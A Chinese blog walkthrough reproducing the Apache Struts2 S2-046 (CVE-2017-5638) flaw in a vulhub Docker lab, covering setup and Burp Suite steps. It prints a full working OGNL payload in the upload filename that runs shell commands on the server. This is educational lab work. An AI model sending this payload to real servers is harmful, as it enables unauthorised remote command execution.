S2-046 远程代码执行漏洞(CVE-2017-5638)

一、S2-046 远程代码执行漏洞(CVE-2017-5638)

  • 漏洞简介

        Apache Struts2存在远程代码执行漏洞,攻击者可以将恶意代码放入http报文头部的Content-Disposition的filename字段,通 过不恰当的filename字段或者大小超过2G的Content-Length字段来触发异常,进而导致任意代码执行。

    影响版本: Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10

二、利用vulhub靶机平台实现漏洞复现   (1-4的步骤配图,和s2-045类似,详情可参考以前发的s2-045博客)

      1、service docker start    //开启docker服务

      2、cd /vulhub/struts2/      //进入Struts2目录下

            ls     //查看里面的漏洞环境,由于s2-046以前版本过低,现在基本上漏洞都已修复

            cd s2-046     //进入s2-046漏洞环境

            cat README.md    //这里可以查看该漏洞的复现步骤

            eog  1.png    //查看图片,即burp的抓包。

     3、docker-compose up -d    //下载启动漏洞环境

     4、环境启动后,访问`http://your-ip:8080`即可看到上传页面。

           ## 漏洞复现

          与s2-045类似,但是输入点在文件上传的filename值位置,并需要使用`\x00`截断。

     5、使用burp抓包,然后发送到repeater模块

      更改filename后为

      POC: "%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test',233*233)}\x00b"

       

       在hex里找到b之前一个符号,使用00截断

       

      截断后看图上所示,出现了空格

        

   6、判断存在后,实行攻击语句payload,同样原理,将b前面一个字符00截断。

"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ls').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} b"

  如图所示,标记处里可执行其他命令语句(与s2-045类似,必须有回显):如:id、whoami、ls、

  

  • 4
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值